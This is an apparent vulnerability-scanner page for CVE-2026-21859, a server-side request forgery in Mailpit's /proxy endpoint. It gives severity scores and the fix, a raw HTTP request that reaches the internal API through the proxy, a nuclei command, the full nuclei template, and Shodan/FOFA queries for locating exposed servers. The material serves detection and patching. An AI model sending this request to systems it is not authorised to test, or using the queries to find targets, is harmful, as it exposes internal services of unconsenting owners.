Mailpit < 1.28.3 - Server-Side Request Forgery

highseverity

8.6CVSS score

0.8%likelihood of exploitation, next 30 days

57%of all CVEs are less likely

Readycheck to confirm it

Mailpit <= 1.28.0 contains a server-side request forgery caused by insufficient validation of internal IP addresses in the /proxy endpoint, letting attackers make requests to internal network resources, exploit requires crafted HTTP GET requests.

Impact

Attackers can access internal network services and APIs, potentially exposing sensitive internal resources.

Fix

Update to version 1.28.1 or later.

How to confirm it

Send: GET /proxy?url=http://127.0.0.1:8025/api/v1/info
Positive when: contains "\"Version\"" and "\"Database\"" and "\"RuntimeStats\"" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2026-21859 -u <target>

The full check

id: CVE-2026-21859

info:
  name: Mailpit < 1.28.3 - Server-Side Request Forgery
  author: omarkurt
  severity: high
  description: |
    Mailpit <= 1.28.0 contains a server-side request forgery caused by insufficient validation of internal IP addresses in the /proxy endpoint, letting attackers make requests to internal network resources, exploit requires crafted HTTP GET requests.
  impact: |
    Attackers can access internal network services and APIs, potentially exposing sensitive internal resources.
  remediation: |
    Update to version 1.28.1 or later.
  reference:
    - https://rosecurify.com/advisories/RO-26-001-mailpit-server-side-request-forgery-ssrf/
    - https://github.com/axllent/mailpit/security/advisories/GHSA-8v65-47jx-7mfr
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-21859
    epss-score: 0.00806
    epss-percentile: 0.57108
    cwe-id: CWE-918
    cpe: cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: axllent
    product: mailpit
    shodan-query: title:"Mailpit"
    fofa-query: title="Mailpit"
  tags: cve,cve2026,mailpit,axllent,oast,oob,ssrf,vkev,vuln

http:
  - raw:
      - |
        GET /proxy?url=http://127.0.0.1:8025/api/v1/info HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"Version"'
          - '"Database"'
          - '"RuntimeStats"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from